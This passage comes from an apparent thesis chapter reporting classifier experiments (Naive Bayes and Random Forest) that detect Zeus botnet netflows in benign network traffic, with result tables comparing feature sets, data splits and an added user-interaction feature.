     The interaction feature was added for Round 13-2 for comparison with Round 1-2, 

Round 5-2, and Round 13-1.  Figure 4-30 depicts the results.  The Naïve Bayes classifier 

produced a true positive rate of 97% compared with 93% in both Round 1-1 and Round 

5-1 and the same 97% in Round 13-1 without the interaction feature.  It produced 

125,531 false positives, significantly more than the 50,348 in Round 1-2 and 53,495 in 

Round 5-2, but less than the 125,694 in Round 13-1 without the interaction feature.  The 

Random Forest classifier produced a true positive rate of 43% compared with 67% in 

Round 1-2, 20% in Round 5-2, and 53% in Round 13-1 without the interaction feature.  

The Random Forest classifier again produced no false positives. 

Table 4-30. Round 13-2 Results 

Added interaction feature; cross-validation; features (stos & dtos) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk NB 280423 30 29 .967 125531 .448 

2wk RF 280423 30 13 .433 0 0 

 

     For Round 13-1, the reduced feature set was divided into separate training and testing 

subsets for comparison with the results of Round 2-1 and Round 6-1. Results are 
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presented in Table 4-31.  The Naïve Bayes classifier produced a true positive rate of zero 

compared with 71% in both Round 2-1 and Round 6-1.  It produced 123 false positives 

compared with 1,291 in Round 2-1 and 1,375 in Round 6-1.  When the training and 

testing roles were reversed, the Naïve Bayes classifier produced a true positive rate of 

73% compared with 100% in both Round 2-1 and Round 6-1. It produced 95,224 false 

positives compared with 12,178 in Round 2-1 and 13,357 in Round 6-1.  The Random 

Forest classifier produced no true positives and no false positives with either combination 

of training and testing data subsets. 

Table 4-31. Round 14-1 Results 

No interaction feature; separate training/testing subsets; features (stos & dtos) 
removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 15 0 0 123 .002 

2wk train/test RF 56085 15 0 0 0 0 

2wk test/train NB 224338 15 11 .733 95224 .424 

2wk test/train RF 224338 15 0 0 0 0 

 

     The interaction feature was added for Round 14-2 for comparison with Round 2-2, 

Round 6-2, and Round 14-1.  Results are presented in Table 4-32.  Again the Naïve 

Bayes classifier produced a true positive rate of zero compared with 71% in Round 2-2 

and Round 6-2.  It produced 121 false positives compared with 12,137 in Round 2-2 and 

13,333 in Round 6-2, and 123 in Round 14-1 without the interaction feature.  When the 

training and testing roles were reversed, the Naïve Bayes classifier produced a true 

positive rate of 80% compared with 100% in both Round 2-2 and Round 6-2 and 73% in 
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Round 14-1 without the interaction feature.   It produced 95,172 false positives, 

significantly more than the 12,137 in Round 2-2 and the 13,333 in Round 6-2, but less 

than the 95,224 in Round 14-1 without the interaction feature. 

Table 4-32. Round 14-2 Results 

Added interaction feature; separate training/testing subsets; features (stos & dtos) 
removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 15 0 0 121 .002 

2wk train/test RF 56085 15 0 0 0 0 

2wk test/train NB 224338 15 12 .800 95172 .424 

2wk test/train RF 224338 15 0 0 0 0 

 

     For Round 15-1 (Table 4-33), three features (tcprtt, synack, ackdat) were removed 

from the full feature set and 10-fold cross-validation was used within the two-week data 

set for comparison with the results of Round 1-1 and Round 7-1.  The Naïve Bayes 

classifier produced a true positive rate of 97% compared with 93% in both Round 1-1 and 

Round 7-1.  It produced 144,355 false positives, significantly more than the 50,604 in 

Round 1-1 and the 69,342 in Round 7-1. The Random Forest classifier produced a true 

positive rate of 80% compared with 60% in Round 1-1 and 47% in Round 7-1.  The 

Random Forest classifier again produced no false positives. 

Table 4-33. Round 15-1 Results 

No interaction feature; cross-validation; features (tcprtt, synack, ackdat) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk NB 280423 30 29 .967 144355 .515 
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2wk RF 280423 30 24 .800 0 0 

 
     The interaction feature was added for Round 15-2 for comparison with Round 1-2, 

Round 7-2, and Round 15-1.  Results are presented in Table 4-34.  The Naïve Bayes 

classifier produced a true positive rate of 97% compared with 93% in both Round 1-2 and 

Round 7-2 and the same 97% in Round 15-1 without the interaction feature.  It produced 

143,771 false positives, considerably more than the 50,348 in Round 1-2 and 68,929 in 

Round 7-2, but less than the 144,355 in Round 15-1.  The Random Forest classifier 

produced a true positive rate of 80% compared with 67% in both Round 1-2 and Round 

7-2, and the same 80% in Round 15-1 without the interaction feature.  The Random 

Forest classifier again produced no false positives.  

Table 4-34. Round 15-2 Results 

Added interaction feature; cross-validation; features (tcprtt, synack, ackdat) 
removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk NB 280423 30 29 .967 143771 .513 

2wk RF 280423 30 24 .800 0 0 

 
     For Round 16-1 the reduced feature set was divided into separate training and testing 

subsets for comparison with the results of Round 2-1 and Round 8-1.  Results are 

presented in Table 4-35.  The Naïve Bayes classifier produced a true positive rate of zero 

compared with 71% in both Round 2-1 and Round 8-1.  It produced 173 false positives 

compared with 1,291 in Round 2-1 and 2,342 in Round 8-1.  When the training and 

testing roles were reversed, the Naïve Bayes classifier produced a true positive rate of 

80% compared with 100% in both Round 2-1 and Round 8-1.  It did so while producing 
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106,270 false positives compared with 12,178 in Round 2-1 and 61,834 in Round 8-1.  

The Random Forest classifier produced no true positives and no false positives for either 

combination of training and testing data subsets.     

Table 4-35. Round 16-1 Results 

No interaction feature; separate training/testing subsets; features (tcprtt, synack, 
ackdat) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 15 0 0 173 .003 

2wk train/test RF 56085 15 0 0 0 0 

2wk test/train NB 224338 15 12 .800 106270 .474 

2wk test/train RF 224338 15 0 0 0 0 

 

     The interaction feature was added for Round 16-2 for comparison with Round 2-2, 

Round 8-2, and Round 16-1.  Results are presented in Table 4-36.  The Naïve Bayes 

classifier produced a true positive rate of zero compared with 100% in both Round 2-2 

and Round 8-2, and the same zero rate in Round 16-1.  It produced 169 false positives, 

significantly less than the 1,279 in Round 2-2 and 2,338 in Round 8-2, and slightly less 

than the 173 in Round 16-1.  When the training and testing roles were reversed, the Naïve 

Bayes classifier produced a true positive rate of 80% compared with 100% in both Round 

2-2 and Round 8-2, and the same 80% in Round 16-1 without the interaction feature.  It 

produced 108,108 false positives which was significantly more than the 12,137 in Round 

2-2 and the 61,565 in Round 8-2, and also more than the 106,270 in Round 16-1 without 

the interaction feature. 
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Table 4-36. Round 16-2 Results 

Added interaction feature; separate training/testing subsets; features (tcprtt, 
synack, ackdat) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 15 0 0 169 .003 

2wk train/test RF 56085 15 0 0 0 0 

2wk test/train NB 224338 15 12 .800 108108 .482 

2wk test/train RF 224338 15 0 0 0 0 

 

 

Change the ratio of training to testing instances 

     For the next rounds of experiments, the number of Zeus instances in the training and 

testing subsets was changed, as depicted by the shading in Table 4-37. The purpose was 

to compare results of varying the size and content of the training and test subsets, 

therefore the cross-validation rounds were not repeated. 

Table 4-37. Zeus Samples Used in Third Rounds of Experimentation 

daddr inet_aton(daddr) sport sbytes 
200.98.246.214 3361928918 1032 3353 
200.98.246.214 3361928918 1032 585 
200.98.246.214 3361928918 1032 60 
200.98.246.214 3361928918 1035 1712 
200.98.246.214 3361928918 1035 60 
200.98.246.214 3361928918 1040 8788 
200.98.246.214 3361928918 1040 60 
199.201.122.227 3351870179 1033 4123 
199.201.122.227 3351870179 1033 120 
199.201.122.227 3351870179 1036 894 
199.201.122.227 3351870179 1036 120 
199.201.122.227 3351870179 1040 922 
199.201.122.227 3351870179 1040 7827 
199.201.122.227 3351870179 1040 220 
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199.201.122.227 3351870179 1040 186 
184.22.237.213 3088510421 1032 968 
184.22.237.213 3088510421 1032 846 
184.22.237.213 3088510421 1032 698 
184.22.237.213 3088510421 1032 60 
184.22.237.213 3088510421 1038 8742 
184.22.237.213 3088510421 1038 60 
95.128.157.163 1602264483 1031 804 
95.128.157.163 1602264483 1032 904 

37.0.123.150 620788630 1034 901 
37.0.123.150 620788630 1043 1047 
37.0.123.150 620788630 1044 1792 
37.0.123.150 620788630 1045 1060 
37.0.123.150 620788630 1046 1060 
37.0.123.150 620788630 1049 4900 
37.0.123.150 620788630 1050 901 

 

     For Round 17-1 the full feature set was used.  Resulted are presented in Table 4-38.  

The two-week data set was divided into training and testing subsets in the same 

proportion of benign netflows as before, but the number of Zeus netflows was split at 21 

and nine, compared with 15 and 15 in Round 10-1.  When training with the larger subset 

containing the larger number of Zeus netflows, the Naïve Bayes classifier produced a 

zero true positive rate, just as it had in Round 10-1.  However, it produced 2,428 false 

positives compared to only 118 before. When the training and testing roles were reversed, 

the Naïve Bayes classifier again produced a zero true positive rate, compared with the 

80% true positive rate it produced in Round 10-1.  It did so with 6,839 false positives 

compared with 86,685 in Round 10-1.  The Random Forest classifier produced no true 

positives and no false positives for either combination of training and testing subsets, just 

as it had in Round 10-1. 
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Table 4-38. Round 17-1 Results 

No interaction feature; separate training/testing subsets 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 9 0 0 2428 .043 

2wk train/test RF 56085 9 0 0 0 0 

2wk test/train NB 224338 21 0 0 6839 .030 

2wk test/train RF 224338 21 0 0 0 0 

 

     For Round 17-2 (Table 4-39), the interaction feature was added.  This resulted in very 

little change for either combination of training and testing subsets.  The Naïve Bayes 

classifier again produced a zero true positive rate for both combinations, but with fewer 

false positives, 2,408 compared with 2,428 and 6,766 compared with 6,839.  The 

Random Forest classifier again produced no true positives and no false positives. 

Table 4-39. Round 17-2 Results 

Added interaction feature; separate training/testing subsets 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 9 0 0 2408 .043 

2wk train/test RF 56085 9 0 0 0 0 

2wk test/train NB 224338 21 0 0 6766 .030 

2wk test/train RF 224338 21 0 0 0 0 

 

     For Round 18-1 (Table 4-40), the Destination Address (daddr) feature was removed 

and the two-week data set was divided into training and testing subsets in the same 

proportion of benign netflows as before, but the number of Zeus netflows was split at 21 

and nine, compared with 15 and 15 in Round 12-1.  When trained with the larger subset, 
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the Naïve Bayes classifier produced a true positive rate of 44% compared with 60% in 

Round 12-1.  It did so with 13,224 false positives compared with 13,346 in Round 12-1. 

When trained with the smaller subset, the Naïve Bayes classifier produced a zero true 

positive rate compared with 80% in Round 12-1, and it produced 7,423 false positives 

compared with 88,210.  The Random Forest classifier produced no true positives and no 

false positives with either combination of training and testing data subsets. 

Table 4-40. Round 18-1 Results 

No interaction feature; separate training/testing subsets; feature (daddr) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 9 4 .444 13224 .236 

2wk train/test RF 56085 9 0 0 0 0 

2wk test/train NB 224338 21 0 0 7423 .033 

2wk test/train RF 224338 21 0 0 0 0 

 

     The interaction feature was added for Round 18-2.  Results are presented in Table 4-

41.  This resulted in no change to the true positive rates of either classifier for either 

combination of training and testing data subsets.  However, the Naïve Bayes classifier 

produced fewer false positives than in Round 18-1 without the interaction feature for both 

combinations, 13,143 compared with 13,224 and 7,352 compared with 7,423. 

Table 4-41. Round 18-2 Results 

Added interaction feature; separate training/testing subsets; feature (daddr) 
removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 9 4 .444 13143 .234 
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2wk train/test RF 56085 9 0 0 0 0 

2wk test/train NB 224338 21 0 0 7352 .033 

2wk test/train RF 224338 21 0 0 0 0 

 

     For Round 19-1 (Table 4-42), the Source Type of Service (stos) and Destination Type 

of Service (dtos) features were removed and the two-week data set was divided into 

training and testing subsets in the same proportion of benign netflows as before.  The 

number of Zeus netflows was split at 21 and nine, compared with 15 and 15 in Round 14-

1.  Neither classifier detected any true positives for either combination of training and 

testing data subsets.  The Naïve Bayes classifier produced 2,520 false positives for the 

first combination compared with only 123 in Round 14-1 and 7,586 for the second 

combination compared with 95,224.  The Random Forest classifier produced no false 

positives for either combination of training and testing data subsets. 

Table 4-42. Round 19-1 Results 

No interaction feature; separate training/testing subsets; features  (stos & dtos) 
removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 9 0 0 2520 .045 

2wk train/test RF 56085 9 0 0 0 0 

2wk test/train NB 224338 21 0 0 7586 .034 

2wk test/train RF 224338 21 0 0 0 0 

 

     The interaction feature was added for Round 19-2. Results are presented in Table 4-

43.  This resulted in no change to the zero true positive rates of either classifier.  The 

Naïve Bayes classifier produced fewer false positives for both combinations of training 
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and testing data subsets, 2,486 compared with 2,520 and 7,477 compared with 7,586 in 

Round 19-1 without the interaction feature. 

Table 4-43. Round 19-2 Results 

Added interaction feature; separate training/testing subsets; features (stos & dtos) 
removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 9 0 0 2486 .044 

2wk train/test RF 56085 9 0 0 0 0 

2wk test/train NB 224338 21 0 0 7477 .033 

2wk test/train RF 224338 21 0 0 0 0 

 

     For Round 20-1 (Table 4-44), three features (tcprtt, synack, ackdat) were removed and 

the two-week data set was divided into training and testing subsets in the same proportion 

of benign netflows as before.  The number of Zeus netflows was split at 21 and nine, 

compared with 15 and 15 in Round 16-1.  Neither classifier detected any true positives 

for either combination of training and testing data subsets.  The Naïve Bayes classifier 

produced 3,355 false positives compared with 173 in Round 16-1 for the first 

combination and 9,323 compared with 106,270 for the second combination.  The 

Random Forest classifier produced no false positives. 

Table 4-44. Round 20-1 Results 

No interaction feature; separate training/testing subsets; features (tcprtt, synack, 
ackdat) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 9 0 0 3355 .060 

2wk train/test RF 56085 9 0 0 0 0 
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2wk test/train NB 224338 21 0 0 9323 .042 

2wk test/train RF 224338 21 0 0 0 0 

 

     The interaction feature was added for Round 20-2.  Results are presented in Table 4-

45.  This resulted in no change to the zero true positive rate for either classifier for either 

combination of training and testing data subsets.  The Naïve Bayes classifier produced 

fewer false positives in both combinations, 3,337 compared with 3,355 and 9,260 

compared with 9,323, than without the interaction feature in Round 20-1. 

Table 4-45. Round 20-2 Results 

Added interaction feature; separate training/testing subsets; features (tcprtt, 
synack, ackdat) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 9 0 0 3337 .059 

2wk train/test RF 56085 9 0 0 0 0 

2wk test/train NB 224338 21 0 0 9260 .041 

2wk test/train RF 224338 21 0 0 0 0 

 

 

More Compact Feature Set 

     For the next sequence of experiments, a more compact, feature set was chosen.  The 

two-week data set was divided into training and testing subsets in the same proportion as 

before, and the two previous splits of Zeus netflows were used, 21-9 and 15-15, in turn.  

The compact feature set consisted of the following 16 features: dport, stos, dtos, sttl, dttl, 

spkts, dpkts, sloss, dloss, state, tcprtt, synack, ackdat, flgs, tcpopt, dir.  Note that with the 

21-9 split of Zeus netflows across the 80%-20% split of benign samples in Rounds 17-1 
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through 20-2, only one feature set and data subset combination resulted in a true positive 

rate above zero.  The Naïve Bayes classified achieved a 44% true positive rate in Round 

18-1 and 18-2 when trained with the larger subset and tested with the smaller.  The 

results of Round 21-1 reveal a similar outcome, as presented in Table 4-46.  The Naïve 

Bayes classifier produced a 67% true positive rate when trained with the larger and tested 

with the smaller subsets.  It produced this higher true positive rate with only 258 false 

positives compared with 13,224 in Round 18-1 and 13,143 in Round 18-2.   

Table 4-46. Round 21-1 Results 

No interaction feature; separate training/testing subsets; compact feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 9 6 .667 258 .005 

2wk train/test RF 56085 9 0 0 0 0 

2wk test/train NB 224338 21 0 0 532 .002 

2wk test/train RF 224338 21 0 0 0 0 

 

     When the interaction feature was added to the compact feature set with this split 

(Table 4-47), again only the false positive rates of the Naïve Bayes classifier changed.  

For both combinations of training and testing data subsets, the number of false positives 

decreased, 192 compared with 258 and 529 compared with 532 in Round 21-1 without 

the interaction feature. 

Table 4-47. Round 21-2 Results 

Added interaction feature; separate training/testing subsets; compact feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 
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2wk train/test NB 56085 9 6 .667 192 .003 

2wk train/test RF 56085 9 0 0 0 0 

2wk test/train NB 224338 21 0 0 529 .002 

2wk test/train RF 224338 21 0 0 0 0 

 

     Round 22-1 again uses the 15-15 split of Zeus netflows across the 80%-20% split of 

benign netflows for comparison with the results of even Rounds 10-1 through 16-2 which 

used the full feature set.  Results are presented in Table 4-48.  The Naïve Bayes classifier 

produced a true positive rate of 73% with only 200 false positives when trained with the 

larger subset and tested with the smaller.  This represents a higher true positive rate than 

all previous rounds using this number (30) and split (15-15) of Zeus netflows with this 

combination.  It also represents a much lower number of false positives than the only 

previous round to achieve a true positive rate above zero, Round 12-1, in which the Naïve 

Bayes classifier achieved a 60% true positive rate but with 13,346 false positives.  When 

the training and testing roles were reversed, the Naïve Bayes classifier produced an 80% 

true positive rate with 1,211 false positives.  This true positive rate is equal to, or greater 

than, the true positive rate of the earlier rounds using this combination.  The number of 

false positives, however, is more than a factor of 10 lower than all those previous rounds.  

The Random Forest classifier produced no true or false positives for the first combination 

of training and testing data, but did produce a true positive rate of 40% for the second 

combination.  This also represents an improvement over all previous rounds, only one of 

which (10-2) resulted in a true positive rate above zero.  Again, it did so without 

producing any false positives. 
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Table 4-48. Round 22-1 Results 

No interaction feature; separate training/testing subsets; compact feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 15 11 .733 200 .004 

2wk train/test RF 56085 15 0 0 0 0 

2wk test/train NB 224338 15 12 .800 1211 .005 

2wk test/train RF 224338 15 6 .400 0 0 

 

     When the interaction feature was added (Table 4-49), the true positive rates for the 

Naïve Bayes classifier remained the same but the number of false positives decreased, 

151 compared with 200 and 1,073 compared with 1,211.  Interestingly, the true positive 

rate of the Random Forest classifier when trained with the smaller and tested with the 

larger data subset went back to zero and a false positive was generated. 

Table 4-49. Round 22-2 Results 

Added interaction feature; separate training/testing subsets; compact feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 15 11 .733 151 .003 

2wk train/test RF 56085 15 0 0 0 0 

2wk test/train NB 224338 15 12 .800 1073 .005 

2wk test/train RF 224338 15 0 0 1 .000 

 

One-month data sets 

     The next set of experiments used larger, one-month data sets with the same 30 Zeus 

netflows and compact feature set as the previous rounds.  Results for both cross-

validation and separate training and testing subsets are provided for comparison with 
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earlier rounds using the smaller, two-week data set.  Three separate one-month data sets 

are used from the benign data captured in April, May, and June of 2013, respectively. 

The number of false positives remains relevant for comparison across the data sets using 

the same number of Zeus samples. 

     The results of cross-validation using the April data set are presented in Table 4-50.  

The Naïve Bayes classifier produced a 100% true positive rate and a 1% false positive 

rate. The Random Forest classifier produced an 83% true positive rate with no false 

positives.  This represents an improvement by both classifiers over the results of Round 

9-1 which used the two-week data set and same 30 Zeus netflows. The true positive rate 

of the Naïve Bayes classifier improved from 97% to 100% and the false positive rate 

improved from 42% down to 1%.  The true positive rate of the Random Forest classifier 

improved from 80% to 83% while maintaining the error-free, zero false positive rate. 

Table 4-50. Round 23-1 Results 

No interaction feature; cross-validation; compact feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

apr NB 487347 30 30 1 4302 .009 

apr RF 487347 30 25 .833 0 0 

 
     When the interaction feature was added (Table 4-51), the true positive rate for the 

Naïve Bayes classifier remained the same but the number of false positives decreased 

over Round 23-1 without the interaction feature.  The true positive rate for the Random 

Forest classifier improved from 83% to 93% with no false positives.   

Table 4-51. Round 23-2 Results 

Added interaction feature; cross-validation; compact feature set 
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Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

apr NB 487347 30 30 1 3337 .001 

apr RF 487347 30 28 .933 0 0 

 
     For the next rounds, the April data set was divided into separate training and testing 

subsets using the same 80%/20% split of benign netflows as in the earlier rounds using 

the two-week data set.  The Zeus netflows were split 15-15 across the training subsets.  

Results are provided in Table 4-52.  When trained with the larger subset and tested with 

the smaller, the Naïve Bayes classifier produced a 73% true positive rate with 0.3% false 

positive rate.  This represents a significant increase over the zero true positive rate in 

Round 10-1 using the two-week data set.  The Random Forest classifier produced no true 

positives or false positives, no change from Round 10-1.  When trained with the smaller 

subset and tested with the larger, the Naïve Bayes classifier produced an 80% true 

positive rate with 0.1% false positive rate.  This is the same true positive rate achieved in 

Round 10-1 but with a much improved false positive rate, 0.1% down from 38%.    The 

Random Forest classifier produced a 20% true positive rate, up from zero in Round 10-1, 

but with one false positive. 

Table 4-52. Round 24-1 Results 

No interaction feature; separate training/testing subsets; compact feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

apr train/test NB 97469 15 11 .733 336 .003 

apr train/test RF 97469 15 0 0 0 0 

apr test/train NB 389878 15 12 .800 366 .001 

apr test/train RF 389878 15 3 .200 1 .000 
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     When the interaction feature was added (Table 4-53), the true positive rates for the 

Naïve Bayes classifier remained the same but the numbers of false positives decreased 

for both combinations of training and testing data subsets.  The true positive rate for the 

Random Forest classifier remained at zero when trained with the larger subset and tested 

with the smaller, but it improved from 20% to 60% when the roles were reversed.  It also 

did so without any false positives, an improvement over the single false positive in 

Round 24-1 without the interaction feature. 

Table 4-53. Round 24-2 Results 

Added interaction feature; separate training/testing subsets; compact feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

apr train/test NB 97469 15 11 .733 291 .003 

apr train/test RF 97469 15 0 0 0 0 

apr test/train NB 389878 15 12 .800 318 .001 

apr test/train RF 389878 15 9 .600 0 0 

 

     The results of cross-validation using the May data set are presented in Table 4-54.  

The Naïve Bayes classifier produced a 97% true positive rate and a 1% false positive rate. 

The Random Forest classifier produced an 93% true positive rate with no false positives.  

This represents an improvement by both classifiers over the results of Round 9-1 which 

used the two-week data set and same 30 Zeus netflows.  The improvement by the Naïve 

Bayes classifier was in terms of a lower false positive rate, 1% down from 42%, since its 

true positive rate was 97% in both cases.  The improvement by the Random Forest 

classifier was in terms of a higher true positive rate, 93% up from 80% in Round 9-1, 

since its false positive rate remained at zero. 
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Table 4-54. Round 25-1 Results 

No interaction feature; cross-validation; compact feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

may NB 461036 30 29 .967 3043 .007 

may RF 461036 30 28 .933 0 0 

 
     When the interaction feature was added (Table 4-55), the true positive rate for the 

Naïve Bayes classifier remained the same but the number of false positives improved, 

2,880 down from 3,043.  The true positive rate for the Random Forest classifier improved 

from 93% to 97% with no false positives. 

Table 4-55. Round 25-2 Results 

Added interaction feature; cross-validation; compact feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

may NB 461036 30 29 .967 2880 .006 

may RF 461036 30 29 .967 0 0 

 
     For the next rounds, the May data set was divided into separate training and testing 

subsets using the same split of benign and Zeus netflows.  Again, using this one-month 

data set (May) resulted in improvements by both classifiers over the results with the two-

week data set in Round 10-1.  Results are presented in Table 4-56.  When trained with the 

larger subset and tested with the smaller, the Naïve Bayes classifier produced an 80% 

true positive rate with a 0.3% false positive rate.  This is an improvement over the zero 

true positive rate in Round 10-1.  The Random Forest classifier produced no true 

positives or false positives, which is the same as in Round 10-1.  When trained with the 

smaller and tested with the larger data subset, The Naïve Bayes classifier produced a 



143 

 

100% true positive rate, up from 80% in Round 10-1, and with a 0.5% false positive rate 

compared with 39% in Round 10-1.  The Random Forest classifier produced a 53% true 

positive rate, up from zero in Round 10-1, and again with no false positives. 

Table 4-56. Round 26-1 Results 

No interaction feature; separate training/testing subsets; compact feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

may train/test NB 92207 15 12 .800 304 .003 

may train/test RF 92207 15 0 0 0 0 

may test/train NB 368829 15 15 1 1929 .005 

may test/train RF 368829 15 8 .533 0 0 

 

     When the interaction feature was added (Table 4-57), the true positive rates for the 

Naïve Bayes classifier remained the same but the number of false positives decreased for 

the second combination of training and testing data subsets, 1,888 down from 1,929.  The 

true positive rate for the Random Forest classifier decreased from 53% to zero when 

trained with the smaller subset and tested with the larger. 

Table 4-57. Round 26-2 Results 

Added interaction feature; separate training/testing subsets; compact feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

may train/test NB 92207 15 12 .800 304 .003 

may train/test RF 92207 15 0 0 0 0 

may test/train NB 368829 15 15 1 1888 .005 

may test/train RF 368829 15 0 0 0 0 
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     The results of cross-validation using the June data set are presented in Table 4-58.  

The Naïve Bayes classifier produced a 100% true positive rate and a 1% false positive 

rate. The Random Forest classifier produced a 93% true positive rate with no false 

positives.  Again this represents an improvement by both classifiers using a one-month 

data set over the results of Round 9-1 which used the two-week data set and same 30 

Zeus netflows.   

Table 4-58. Round 27-1 Results 

No interaction feature; cross-validation; compact feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

jun NB 570236 30 30 1 4713 .008 

jun RF 570236 30 28 .933 0 0 

 
     When the interaction feature was added (Table 4-59), the Naïve Bayes classifier again 

produced a 100% true positive rate.  It also produced fewer false positives, 4,343 down 

from 4,713, than without the interaction feature in Round 27-1.  The Random Forest 

classifier produced a 97% true positive rate, up from 93% without the interaction feature, 

and again without any false positives. 

Table 4-59. Round 27-2 Results 

Added interaction feature; cross-validation; compact feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

jun NB 570236 30 30 1 4343 .008 

jun RF 570236 30 29 .967 0 0 
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     For the next rounds, the June data set was divided into separate training and testing 

subsets using the same split of benign and Zeus netflows.  Again, using this one-month 

data set (June) resulted in improvements by both classifiers over the results with the two-

week data set in Round 10-1.  Results are presented in Table 4-60.  When trained with the 

larger and tested with the smaller subset, the Naïve Bayes classifier produced an 80% 

true positive rate, up from zero in Round 10-1 with the two-week data set, and did so 

with a 1% false positive rate.  The Random Forest classifier produced a 13% true positive 

rate, up from zero in Round 10-1, and again without false positives.  When the training 

and testing roles were reversed, the Naïve Bayes classifier produced an 87% true positive 

rate, up from 80% in Round 10-1, and with a false positive rate less than 1%, down from 

39% in Round 10-1.  The Random Forest classifier produced a 60% true positive rate, up 

from zero in Round 10-1 with the two-week data set, and again without false positives. 

Table 4-60. Round 28-1 Results 

No interaction feature; separate training/testing subsets; compact feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

jun train/test NB 114047 15 12 .800 1184 .010 

jun train/test RF 114047 15 2 .133 0 0 

jun test/train NB 456189 15 13 .867 196 .000 

jun test/train RF 456189 15 9 .600 0 0 

 

     When the interaction feature was added (Table 4-61), the true positive rates for the 

Naïve Bayes classifier remained the same but the numbers of false positives decreased 

for both combinations of training and testing data subsets, 1,162 down from 1,184 and 
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182 down from 196.  In both combinations, the true positive rate of the Random Forest 

classifier decreased to zero. 

Table 4-61. Round 28-2 Results 

Added interaction feature; separate training/testing subsets; compact feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

jun train/test NB 114047 15 12 .800 1162 .010 

jun train/test RF 114047 15 0 0 0 0 

jun test/train NB 456189 15 13 .867 182 .000 

jun test/train RF 456189 15 0 0 0 0 

 

Findings 

     The first two findings presented here resulted from the feature selection process and 

were instrumental to subsequent experimentation.  The remainder of the findings 

presented here resulted from the experiments presented in the previous section.  Under 

most of the experimental conditions, the addition of the interaction feature resulted in 

performance improvements by one or both of the classifiers.  These conditions included 

changing the number of benign instances, changing the number of malicious instances, 

changing the number of features, changing the type of features, changing the type of 

malicious instances, changing the sizes of training and testing subsets, and changing the 

ratio of malicious instances in the training and testing subsets. 

 

Assigning the Interaction Feature 

     Determining which netflows to attribute to interaction was a heuristic process 

informed by experimentation with a range of time values.  Intuition suggests that a large 
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percentage of network transactions would result from human interaction with network 

enabled applications, such as browsers.  Since the time resolution of the interaction 

feature was only to the minute, some portion of network transactions that resulted from 

interaction would appear up to one minute before the timestamp of the interaction feature.  

This limit would not apply to user initiated network transactions occurring after the 

interaction, so periods of time up to three minutes were considered.  Table 4-62 presents 

the results of applying various time ranges around the interaction feature timestamps 

using the 646,702 netflows of the April dataset.  Table 4-63 contrasts the results of 

